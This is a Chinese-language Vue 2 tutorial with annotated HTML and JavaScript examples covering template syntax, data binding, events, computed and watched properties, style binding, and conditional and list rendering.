Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式JavaScript框架。其借鉴了Angular和React的设计思想,采用组件化模式和声明式编码,提高代码复用率和开发效率,且无需直接操作DOM。
Vue的作者为美籍华人尤雨溪,目前主流的版本为2016年10月发布的vue2.x,最新版本为2020年发布的Vue3.x。
MVVM(Model-View-ViewModel)是传统MVC(Model-View-Controller)模式的改进版,将其中的View 的状态和行为抽象化,将视图 UI 和业务逻辑分开。Vue的设计也借鉴了这种思想,并实现了数据的双向绑定。
模型(Model) :data中的数据。
视图(View) :模板标签。
视图模型(ViewModel):Vue实例。
Vue可以直接在HTML页面中引入使用,也可以使用下一章将讲解的Vue-Cli
构建复杂的单页面应用,直接引入的方式如下:
x1<!-- 开发环境版本,包含了有帮助的命令行警告 -->
2<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
3
4<!-- 生产环境版本,优化了尺寸和速度 -->
5<script src="https://cdn.jsdelivr.net/npm/vue@2"></script>
6
7<!-- 引入本地的vue.js或vue.min.js -->
8<script type="text/javascript" src="../js/vue.js"></script>
下面准备Vue所使用的容器,一般为一个普通的div标签。容器内部使用插值表达式从Vue实例中获取数据(后文将会详细讲解)。
41<!-- 准备好一个容器 -->
2<div id="demo">
3 <h1>Hello,{{name.toUpperCase()}},{{address}}</h1>
4</div>
最后创建Vue实例,并与容器进行绑定。
81//创建Vue实例
2new Vue({
3 el:'#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
4 data:{ //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
5 name:'atguigu',
6 address:'北京'
7 }
8})
完整的代码示例如下:
301
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>入门案例</title>
6 <!-- 1. 引入Vue -->
7 <script type="text/javascript" src="../js/vue.js"></script>
8 </head>
9 <body>
10 <!-- 2. 准备好一个容器(Vue模板) -->
11 <div id="demo">、
12 <!-- 使用插值语法从实例中获取数据 -->
13 <h1>Hello,{{name.toUpperCase()}},{{address}}</h1>
14 </div>
15
16 <script type="text/javascript" >
17 // 阻止 vue 在启动时生成生产提示
18 Vue.config.productionTip = false
19
20 //3. 创建Vue实例
21 new Vue({
22 el:'#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
23 data:{ //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
24 name:'atguigu',
25 address:'北京'
26 }
27 })
28 </script>
29 </body>
30</html>
使用浏览器打开页面看一下吧!
Vue实例是整个Vue应用的核心,一般来说,一个应用只有一个Vue实例,并且与容器一一对应。此外,Vue实例必须与容器绑定后,Vue才会开始工作,而不是仅引入vue.js。实例与容器绑定的方式如下:
在创建Vue实例时,通过配置对象的el
属性绑定。
也可以先创建Vue实例,随后再通过vm.$mount('#root')
指定el的值。
Vue中的数据通过data属性配置,data属性有对象形式
和函数形式
两种写法:
对象形式。如入门案例所示,但在引入组件化后,组件的所有实例共享同一块空间,会发生数据冲突,不推荐使用。
函数形式。每个组件的实例都会获得一个返回的新对象,推荐使用。
51data(){
2 return{
3 name:'尚硅谷'
4 }
5}
注意:关于Vue中的函数是否写为箭头函数的原则
由Vue管理的函数,不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。如钩子函数等。
不是由Vue管理的函数,一般写成箭头函数,向外查找this。如钩子函数中的定时器回调、ajax的回调、Promise的回调函数等。
Vue的模板语法有两大类,第一类为插值语法,使用{{xxx}}
形式,第二类为指令语法,使用v-xxx
开头。
插值语法:
功能:用于解析标签体内容。
写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
指令语法:
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.....)。
举例:v-bind:href="xxx" 或 简写为 :href="xxx",xxx同样要写js表达式,且可以直接读取到data中的所有属性。
361
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>模板语法</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <!--插值语法-->
11 <h3>你好,{{name}}</h3>
12 <h3>你好,{{name.toUpperCase()}}</h3>
13
14 <!--指令语法-->
15 <a v-bind:href="school.url" x="hello">点我去{{school.name}}学习1</a>
16
17 <!--v-bind指令的简写形式-->
18 <a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
19 </div>
20 </body>
21
22 <script type="text/javascript">
23 Vue.config.productionTip = false
24
25 new Vue({
26 el:'#root',
27 data:{
28 name:'jack',
29 school:{
30 name:'尚硅谷',
31 url:'http://www.atguigu.com',
32 }
33 }
34 })
35 </script>
36</html>
扩展:JS表达式
JS表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方。
a a+b demo(1) x === y ? 'a' : 'b'
js代码(语句):一般用作流程控制。
if(){} for(){} continue return
Vue有两种数据绑定的方式,第一种为单向绑定(v-bind),第二种为双向绑定(v-model)。
单向绑定(v-bind):数据只能从data流向页面。
双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。
双向绑定一般都应用在表单类元素上(如:input、select等)
v-model:value 可以简写为 v-model
,因为v-model默认收集的就是value值。
331
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>数据绑定</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <!-- 普通写法 -->
11 <!-- 单向数据绑定:<input type="text" v-bind:value="name"><br/>
12 双向数据绑定:<input type="text" v-model:value="name"><br/> -->
13
14 <!-- 简写 -->
15 单向数据绑定:<input type="text" :value="name"><br/>
16 双向数据绑定:<input type="text" v-model="name"><br/>
17
18 <!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
19 <!-- <h2 v-model:x="name">你好啊</h2> -->
20 </div>
21 </body>
22
23 <script type="text/javascript">
24 Vue.config.productionTip = false
25
26 new Vue({
27 el:'#root',
28 data:{
29 name:'尚硅谷'
30 }
31 })
32 </script>
33</html>
为什么插值语法能直接从this(vm实例)读取配置data中的属性?
答:因为vue对管理的数据使用Object.defineProperty
进行了数据代理!
何为数据代理?通过一个对象代理对另一个对象中属性的操作(读/写)。
Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写),从而更加方便的操作data中的数据。
Vue数据代理的基本原理:通过Object.defineProperty()把data对象中所有属性添加到vm上,为每一个添加到vm上的属性,都指定一个getter/setter,在getter/setter内部去操作(读/写)data中对应的属性。
关于Object.defineProperty():
231// 有一个原始对象和一个代理对象
2let obj = {x:100}
3let delegate = {y:200}
4
5// 在代理对象中添加属性x,代理obj.x
6Object.defineProperty(delegate,'x',{
7 get(){
8 console.log('读取属性时执行一些额外逻辑');
9 return obj.x
10 },
11 set(value){
12 console.log('设置属性时也执行一些额外逻辑');
13 obj.x = value
14 }
15 // 下面是defineProperty其它一些配置:
16 // value:obj.x, // 也可以不使用get/set,而直接使用value属性配置
17 // enumerable:true, //控制属性是否可以枚举,如Object.keys(person)无法遍历该属性,默认值是false
18 // writable:true, //控制属性是否可以被真实修改,默认值是false
19 // configurable:true //控制属性是否可以被删除,默认值是false
20})
21
22// 输出代理对象
23console.log(delegate);
可以看到,代理对象中,本身的y属性不变,但新增的x属性,增加了get和set方法!
在Vue中,使用v-on:xxx="事件回调"
或 @Xxx="事件回调"
的形式绑定事件,其中xxx是事件名,事件的回调一般为配置在methods对象中的函数,当然,也可以是简短的JS代码。
421
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>事件的基本使用</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <h2>欢迎来到{{name}}学习</h2>
11
12 <!-- v-on:click="事件回调" -->
13 <button v-on:click="showInfo">点我提示信息</button>
14
15 <!-- @Click="事件回调" -->
16 <button @click="showInfo">点我提示信息1(不传参)</button>
17 <button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
18 </div>
19 </body>
20
21 <script type="text/javascript">
22 Vue.config.productionTip = false
23
24 const vm = new Vue({
25 el:'#root',
26 data:{
27 name:'尚硅谷',
28 },
29 methods:{
30 showInfo(event){
31 console.log(event.target.innerText) // event.target为真实DOM
32 console.log(this) //此处的this是vm
33 alert('同学你好!');
34 },
35 showInfo2(event,number){
36 console.log(event,number)
37 alert('同学你好!!');
38 }
39 }
40 })
41 </script>
42</html>
注意:
methods中配置的函数都是vue所管理的函数,一般不配置为箭头函数,否则this就不是vm/vc了。
@click="demo" 和 @click="demo($event)" 效果一致,但后者可以继续传参。
事件修饰符主要用于控制事件触发的相关行为,使用.
号连接在事件之后,可以连续使用。常用的事件修饰符如下:
事件修饰符 | 行为 |
---|---|
prevent | 阻止默认事件 |
stop | 阻止事件冒泡 |
once | 事件只触发一次 |
capture | 使用事件的捕获模式 |
self | 只有event.target是当前操作的元素时才触发事件 |
passive | 事件的默认行为立即执行,无需等待事件回调执行完毕 |
741
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>事件修饰符</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <h2>欢迎来到{{name}}学习</h2>
11
12 <!-- 阻止默认事件(常用) -->
13 <a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
14
15 <!-- 阻止事件冒泡(常用) -->
16 <div class="demo1" @click="showInfo">
17 <button @click.stop="showInfo">点我提示信息</button>
18 <!-- 修饰符可以连续写 -->
19 <!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
20 </div>
21
22 <!-- 事件只触发一次(常用) -->
23 <button @click.once="showInfo">点我提示信息</button>
24
25 <!-- 使用事件的捕获模式 -->
26 <div class="box1" @click.capture="showMsg(1)">
27 div1
28 <div class="box2" @click="showMsg(2)">
29 div2
30 </div>
31 </div>
32
33 <!-- 只有event.target是当前操作的元素时才触发事件; -->
34 <div class="demo1" @click.self="showInfo">
35 <button @click="showInfo">点我提示信息</button>
36 </div>
37
38 <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
39 <ul @wheel.passive="demo" class="list">
40 <li>1</li>
41 <li>2</li>
42 <li>3</li>
43 <li>4</li>
44 </ul>
45
46 </div>
47 </body>
48
49 <script type="text/javascript">
50 Vue.config.productionTip = false
51
52 new Vue({
53 el:'#root',
54 data:{
55 name:'尚硅谷'
56 },
57 methods:{
58 showInfo(e){
59 alert('同学你好!')
60 // console.log(e.target)
61 },
62 showMsg(msg){
63 console.log(msg)
64 },
65 demo(){
66 for (let i = 0; i < 100000; i++) {
67 console.log('#')
68 }
69 console.log('累坏了')
70 }
71 }
72 })
73 </script>
74</html>
键盘按下和抬起会分别触发@keydown
和@keyup
事件,可以使用修饰符声明指定的按键才触发,如按下回车触发的事件配置为@keydown.enter="回调”
。其它一些常用的按键如下:
按键中文名 | 别名 | 键码 |
---|---|---|
回车 | enter | 13 |
删除(退格) | delete | |
退出 | esc | |
空格 | space | |
换行 | tab | |
上/下/左/右 | up/down/left/right |
如需使用无内置别名的按键,可以直接拿键码来配置(但不推荐),或者使用Vue.config.keyCodes.自定义键名 = 键码
的形式提前绑定自定义别名,但注意要转为kebab-case(短横线命名)的形式。
一些特殊的修饰键(ctrl/alt/shift/meta)可配合@keyup事件配置为组合键,按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发,如Ctrl+C、Ctrl+Alt+M等。注意,这些特殊的修饰键依然可以配合@keydown事件在按下时直接触发。
531
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>键盘事件</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <h2>欢迎来到{{name}}学习</h2>
11 <input type="text" placeholder="按下任意键提示输入" @keydown="showInfo">
12 <input type="text" placeholder="抬起任意键提示输入" @keyup="showInfo">
13 <input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo">
14 <input type="text" placeholder="抬起回车提示输入" @keyup.huiche="showInfo">
15
16 <input type="text" placeholder="按下CTRL不放,再按下M时提示输入" @keydown.M="showInfo2">
17 <input type="text" placeholder="按下CTRL不放,再抬起M时提示输入" @keyup.M="showInfo2">
18
19 <input type="text" placeholder="按下CTRL+ALT+M提示输入" @keydown="showInfo3">
20 </div>
21 </body>
22
23 <script type="text/javascript">
24 Vue.config.productionTip = false
25 Vue.config.keyCodes.huiche = 13 //定义了一个别名按键
26
27 new Vue({
28 el:'#root',
29 data:{
30 name:'尚硅谷'
31 },
32 methods: {
33 showInfo(e){
34 console.log(e.key,e.keyCode) // e.key为按键别名,e.keyCode为按键键码
35 console.log(e.target.value) // e.target.value为真实dom的value属性
36 },
37
38 showInfo2(e){
39 // Ctrl键处于按下状态时才触发
40 if (e.ctrlKey){
41 console.log(e,status)
42 }
43 },
44 showInfo3(e){
45 // 仅在Ctrl、Alt处于按下状态,M键按下或抬起时触发
46 if (e.ctrlKey && e.altKey && e.key == 'M'){
47 console.log(e,status)
48 }
49 }
50 },
51 })
52 </script>
53</html>
计算属性是指通过其它属性经过一系列计算而得来的属性,与methods相比,内部有缓存机制,效率更高,调试方便。其配置在computed
下,值为一个对象,以键值对的形式存储多个计算属性。如果只需要对计算属性进行读操作,并且不需要配置其它属性,那么可以直接简写成函数形式,其内容与get方法一致。
331
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>姓名案例_计算属性实现</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 姓:<input type="text" v-model="firstName"> <br/><br/>
11 名:<input type="text" v-model="lastName"> <br/><br/>
12 全名:<span>{{fullName}}</span> <br/><br/>
13 </div>
14 </body>
15
16 <script type="text/javascript">
17 Vue.config.productionTip = false
18
19 const vm = new Vue({
20 el:'#root',
21 data:{
22 firstName:'张',
23 lastName:'三',
24 },
25 computed:{
26 // 配置计算属性:fullName
27 fullName(){
28 return this.firstName + '-' + this.lastName
29 }
30 }
31 })
32 </script>
33</html>
注意:计算属性在什么时候被调用?
初次读取时会执行一次。
当依赖的数据发生改变时会被再次调用。
如果需要对计算属性进行修改或配置其它属性时,则需要使用对象的形式写完整版的计算属性配置。
401
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>姓名案例_计算属性实现</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 姓:<input type="text" v-model="firstName"> <br/>
11 名:<input type="text" v-model="lastName"> <br/>
12 全名:<span>{{fullName}}</span> <br/>
13 修改全名:<input type="text" v-model="fullName">
14 </div>
15 </body>
16
17 <script type="text/javascript">
18 Vue.config.productionTip = false
19
20 const vm = new Vue({
21 el:'#root',
22 data:{
23 firstName:'张',
24 lastName:'三'
25 },
26 computed:{
27 fullName:{
28 get(){
29 return this.firstName + '-' + this.lastName
30 },
31 set(value){
32 const arr = value.split('-')
33 this.firstName = arr[0]
34 this.lastName = arr[1]
35 }
36 }
37 }
38 })
39 </script>
40</html>
提示:
计算属性也会被Vue使用Objcet.defineproperty进行数据代理,因此也能直接在vm身上看见。
监视属性指对一个属性进行监视,当被监视的属性发生变化时, 回调函数自动调用, 进行相关操作。监视属性有两种写法,可以在创建Vue实例时传入watch
配置,也可以在之后通过vm.$watch
配置。
431
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>姓名案例_watch实现</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 姓:<input type="text" v-model="firstName"> <br/><br/>
11 名:<input type="text" v-model="lastName"> <br/><br/>
12 全名:<span>{{fullName}}</span> <br/><br/>
13 </div>
14 </body>
15
16 <script type="text/javascript">
17 Vue.config.productionTip = false
18
19 const vm = new Vue({
20 el:'#root',
21 data:{
22 firstName:'张',
23 lastName:'三',
24 fullName:'张-三' // 如果不使用计算属性,则需要一个普通属性去存储fullName
25 },
26 watch:{
27 // 监视firstName和lastName,一旦被修改,则同步修改fullName
28 firstName(val){
29 this.fullName = val + '-' + this.lastName
30 },
31 lastName(val){
32 this.fullName = this.firstName + '-' + val
33 }
34 }
35 });
36
37 /* vm.$watch形式配置
38 vm.$watch('firstName',(newValue,oldValue)=>{
39 console.log('firstName被修改了',newValue,oldValue,this)
40 });
41 */
42 </script>
43</html>
注意:computed和watch之间的区别:
computed能完成的功能,watch都可以完成。
watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
如果需要对监视的属性进行深度监视或进行其它配置时(如在初始化时执行一次),可以采用监视属性的对象配置形式。
641
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>天气案例_深度监视</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <h3>a的值是:{{numbers.a}}</h3>
11 <button @click="numbers.a++">点我让a+1</button>
12
13 <h3>b的值是:{{numbers.b}}</h3>
14 <button @click="numbers.b++">点我让b+1</button>
15
16 <button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
17
18 {{numbers.c.d}}
19 </div>
20 </body>
21
22 <script type="text/javascript">
23 Vue.config.productionTip = false
24
25 const vm = new Vue({
26 el:'#root',
27 data:{
28 numbers:{
29 a:1,
30 b:1,
31 c:{
32 d:100
33 }
34 }
35 },
36 watch:{
37 // 监视多级结构中所有属性的变化
38 numbers:{
39 deep:true, // 开启深度监视
40 immediate:true, //初始化时让handler调用一下
41 handler(newValue,oldValue){
42 console.log('numbers改变了',newValue,oldValue)
43 }
44
45 // 监视多级结构中某个属性的变化
46 /* 'numbers.a':{
47 handler(){
48 console.log('a被改变了')
49 }
50 } */
51 }
52 }
53 })
54
55 /* vm.$watch配置形式
56 vm.$watch('numbers',{
57 deep:true,//深度监视
58 immediate:true, //初始化时让handler调用一下
59 handler(newValue,oldValue){
60 console.log('numbers被修改了',newValue,oldValue)
61 }
62 }) */
63 </script>
64</html>
CSS样式一般通过class
或style
属性引入,在vue中动态绑定样式的写法如下:
class样式绑定的写法为:class="xxx"
,其中xxx可以是字符串、对象、数组。
字符串:适用于单个样式,类名不确定,要动态获取。
数组:适用于多个样式,个数不确定,名字也不确定。
对象:适用于多个样式,个数确定,名字也确定,但不确定用不用。
style样式绑定的写法为:style="xxx"
,其中xxx可以是样式对象或样式对象数组。
对象:直接写CSS属性键值对,如:style="{fontSize: xxx}",其中xxx可以是是动态值。
对象数组:多个对象形式,每个对象中直接写CSS属性键值对。
991
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>绑定样式</title>
6 <style>
7 .basic{
8 width: 400px;
9 height: 100px;
10 border: 1px solid black;
11 }
12
13 .happy{
14 border: 4px solid red;;
15 background-color: rgba(255, 255, 0, 0.644);
16 background: linear-gradient(30deg,yellow,pink,orange,yellow);
17 }
18 .sad{
19 border: 4px dashed rgb(2, 197, 2);
20 background-color: gray;
21 }
22 .normal{
23 background-color: skyblue;
24 }
25
26 .atguigu1{
27 background-color: yellowgreen;
28 }
29 .atguigu2{
30 font-size: 30px;
31 text-shadow:2px 2px 10px red;
32 }
33 .atguigu3{
34 border-radius: 20px;
35 }
36 </style>
37 <script type="text/javascript" src="../js/vue.js"></script>
38 </head>
39 <body>
40 <div id="root">
41 <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
42 <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
43 <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
44 <div class="basic" :class="classArr">{{name}}</div> <br/><br/>
45 <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
46 <div class="basic" :class="classObj">{{name}}</div> <br/><br/>
47
48 <!-- 绑定style样式--对象写法 -->
49 <div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
50 <!-- 绑定style样式--数组写法 -->
51 <div class="basic" :style="styleArr">{{name}}</div>
52 </div>
53 </body>
54
55 <script type="text/javascript">
56 Vue.config.productionTip = false
57
58 const vm = new Vue({
59 el:'#root',
60 data:{
61 name:'尚硅谷',
62 // 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定
63 mood:'normal',
64 // 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定
65 classArr:['atguigu1','atguigu2','atguigu3'],
66 // 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用
67 classObj:{
68 atguigu1:false,
69 atguigu2:false,
70 },
71 // 绑定style样式--对象写法
72 styleObj:{
73 fontSize: '40px',
74 color:'red',
75 },
76 styleObj2:{
77 backgroundColor:'orange'
78 },
79 // 绑定style样式--数组写法
80 styleArr:[
81 {
82 fontSize: '40px',
83 color:'blue',
84 },
85 {
86 backgroundColor:'gray'
87 }
88 ]
89 },
90 methods: {
91 changeMood(){
92 const arr = ['happy','sad','normal']
93 const index = Math.floor(Math.random()*3)
94 this.mood = arr[index]
95 }
96 },
97 })
98 </script>
99</html>
Vue中的条件渲染有两种方式,第一种为v-if
指令,将不展示的DOM元素直接移除,适用于切换频率较低的场景。第二种为v-show
指令,将不展示的DOM元素通过display:none样式隐藏,适用于切换频率较高的场景。
v-if:
v-if="表达式"
v-else-if="表达式"
v-else="表达式"
v-show:
v-show="表达式"
注意:
v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。
使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
v-if可以与template的配合使用,将多个标签同时包裹,且不会破坏DOM结构。
481
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>条件渲染</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <h2>当前的n值是:{{n}}</h2>
11 <button @click="n++">点我n+1</button>
12
13 <!-- 使用v-show做条件渲染 -->
14 <h2 v-show="false">欢迎来到{{name}}</h2>
15 <h2 v-show="1 === 1">欢迎来到{{name}}</h2>
16
17 <!-- 使用v-if做条件渲染 -->
18 <h2 v-if="false">欢迎来到{{name}}</h2>
19 <h2 v-if="1 === 1">欢迎来到{{name}}</h2>
20
21 <!-- v-else和v-else-if -->
22 <div v-if="n === 1">Angular</div>
23 <div v-else-if="n === 2">React</div>
24 <div v-else-if="n === 3">Vue</div>
25 <div v-else>哈哈</div>
26
27 <!-- v-if与template的配合使用 -->
28 <template v-if="n === 1">
29 <h2>你好</h2>
30 <h2>尚硅谷</h2>
31 <h2>北京</h2>
32 </template>
33
34 </div>
35 </body>
36
37 <script type="text/javascript">
38 Vue.config.productionTip = false
39
40 const vm = new Vue({
41 el:'#root',
42 data:{
43 name:'尚硅谷',
44 n:0
45 }
46 })
47 </script>
48</html>
Vue中使用v-for
指令可重复渲染某个标签,形成动态列表。语法格式为v-for="(item, index) in xxx" :key="yyy"
。xxx可以是数组、对象、字符串等可遍历的元素,也可以是一个数值,用于指定遍历的次数;yyy默认为列表的索引index,下节将会详细讲解。
631
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>基本列表</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <!-- 遍历数组 -->
11 <h2>人员列表(遍历数组)</h2>
12 <ul>
13 <li v-for="(p,index) of persons" :key="index">
14 {{p.name}}-{{p.age}}
15 </li>
16 </ul>
17
18 <!-- 遍历对象 -->
19 <h2>汽车信息(遍历对象)</h2>
20 <ul>
21 <li v-for="(value,k) of car" :key="k">
22 {{k}}-{{value}}
23 </li>
24 </ul>
25
26 <!-- 遍历字符串 -->
27 <h2>测试遍历字符串(用得少)</h2>
28 <ul>
29 <li v-for="(char,index) of str" :key="index">
30 {{char}}-{{index}}
31 </li>
32 </ul>
33
34 <!-- 遍历指定次数 -->
35 <h2>测试遍历指定次数(用得少)</h2>
36 <ul>
37 <li v-for="(number,index) of 5" :key="index">
38 {{index}}-{{number}}
39 </li>
40 </ul>
41 </div>
42
43 <script type="text/javascript">
44 Vue.config.productionTip = false
45
46 new Vue({
47 el:'#root',
48 data:{
49 persons:[
50 {id:'001',name:'张三',age:18},
51 {id:'002',name:'李四',age:19},
52 {id:'003',name:'王五',age:20}
53 ],
54 car:{
55 name:'奥迪A8',
56 price:'70万',
57 color:'黑色'
58 },
59 str:'hello'
60 }
61 })
62 </script>
63</html>
Vue中进行列表渲染时,一般会指定一个key
值,key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据“新数据”生成“新的虚拟DOM”,随后Vue进行“新虚拟DOM”与“旧虚拟DOM”的差异比较,比较规则如下:
存在相同的key:若内容没变,直接使用之前的真实DOM;若内容变了,则生成新的真实DOM替换。
不存在相同的key:创建新的真实DOM,随后渲染到到页面。
一般来说,如果仅对数据进行列表展示,而不涉及对数据的逆序添加、逆序删除等破坏顺序操作,则可以直接使用列表的索引index
作为key。否则,最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值。
411
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>key的原理</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <!-- 遍历数组 -->
11 <h2>人员列表(遍历数组)</h2>
12 <button @click.once="add">添加一个老刘</button>
13 <ul>
14 <li v-for="(p,index) of persons" :key="index">
15 {{p.name}}-{{p.age}}
16 <input type="text">
17 </li>
18 </ul>
19 </div>
20
21 <script type="text/javascript">
22 Vue.config.productionTip = false
23
24 new Vue({
25 el:'#root',
26 data:{
27 persons:[
28 {id:'001',name:'张三',age:18},
29 {id:'002',name:'李四',age:19},
30 {id:'003',name:'王五',age:20}
31 ]
32 },
33 methods: {
34 add(){
35 const p = {id:'004',name:'老刘',age:40}
36 this.persons.unshift(p)
37 }
38 },
39 })
40 </script>
41</html>
注意:用index作为key可能会引发的问题
若对数据进行逆序添加、逆序删除等破坏顺序操作,会产生没有必要的真实DOM更新,虽然界面显示没问题,但效率低,不推荐。如果结构中还包含输入类的DOM(如input框),则还会产生异常的DOM更新 ,造成界面错乱。
下面是分别使用index作为key和使用id作为key的DOM解析流程对比,可放大图片进行查看。
列表过滤与排序一般使用计算属性实现,直接展示处理后的列表数据。当然,计算属性可以实现的使用watch也可以做到。
581
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>列表过滤与排序</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <h2>人员列表</h2>
11 <input type="text" placeholder="请输入名字" v-model="keyWord">
12 <button @click="sortType = 2">年龄升序</button>
13 <button @click="sortType = 1">年龄降序</button>
14 <button @click="sortType = 0">原顺序</button>
15 <ul>
16 <li v-for="(p,index) of filPerons" :key="p.id">
17 {{p.name}}-{{p.age}}-{{p.sex}}
18 <input type="text">
19 </li>
20 </ul>
21 </div>
22
23 <script type="text/javascript">
24 Vue.config.productionTip = false
25
26 new Vue({
27 el:'#root',
28 data:{
29 keyWord:'', // 过滤关键字
30 sortType:0, //0原顺序 1降序 2升序
31 persons:[
32 {id:'001',name:'马冬梅',age:30,sex:'女'},
33 {id:'002',name:'周冬雨',age:31,sex:'女'},
34 {id:'003',name:'周杰伦',age:18,sex:'男'},
35 {id:'004',name:'温兆伦',age:19,sex:'男'}
36 ]
37 },
38 computed:{
39 filPerons(){
40 // 过滤
41 const arr = this.persons.filter((p)=>{
42 return p.name.indexOf(this.keyWord) !== -1
43 })
44
45 // 排序
46 if(this.sortType){
47 arr.sort((p1,p2)=>{
48 return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
49 })
50 }
51
52 return arr
53 }
54 }
55 })
56
57 </script>
58</html>
数组的元素不能使用下标进行替换,如arr[0]={id:001,name:’马冬梅’}。这样虽然更改了Vue实例中的数据,但Vue无法检测到,界面不会正常刷新。我们可以使用下列指定API来操作,Vue会进行拦截处理。
API | 作用 |
---|---|
push()/unshift() | 向数组的末尾/开头添加一个或多个元素,并返回新的长度 |
pop()/shift() | 删除并返回数组的最后一个/第一个元素 |
sort() | 对数组的元素进行排序。 |
reverse() | 颠倒数组中元素的顺序。 |
splice() | 从已有的数组中返回选定的元素 |
441
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>数组数据更新时的一个问题</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <h2>人员列表</h2>
11 <button @click="updateMei">更新马冬梅的信息</button>
12 <ul>
13 <li v-for="(p,index) of persons" :key="p.id">
14 {{p.name}}-{{p.age}}-{{p.sex}}
15 </li>
16 </ul>
17 </div>
18
19 <script type="text/javascript">
20 Vue.config.productionTip = false
21
22 const vm = new Vue({
23 el:'#root',
24 data:{
25 persons:[
26 {id:'001',name:'马冬梅',age:30,sex:'女'},
27 {id:'002',name:'周冬雨',age:31,sex:'女'},
28 {id:'003',name:'周杰伦',age:18,sex:'男'},
29 {id:'004',name:'温兆伦',age:19,sex:'男'}
30 ]
31 },
32 methods: {
33 updateMei(){
34 // this.persons[0].name = '马老师' //奏效
35 // this.persons[0].age = 50 //奏效
36 // this.persons[0].sex = '男' //奏效
37 this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效(数组元素不能直接用下表替换)
38 // this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})//奏效
39 }
40 }
41 })
42 </script>
43</html>
44
在创建Vue实例时,Vue会对data配置中的数据使用Object.defineProperty进行数据代理,监测后续数据的改变。特别的,对于数组类型的数据,通过代理数组操作API的方式来实现,因此数组元素需要通过上述指定API来进行操作。
如果需要在Vue实例创建后添加可以被Vue监测的响应式数据,可以通过Vue.set(target,propertyName/index,value)
或vm.$set(target,propertyName/index,value)
的方式。
21Vue.set(this.student,'age',18)
2this.$set(this.student,'sex','男')
注意:
Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象(_data)添加属性!
Vue提供了v-model
双向绑定的方式来收集表单数据。
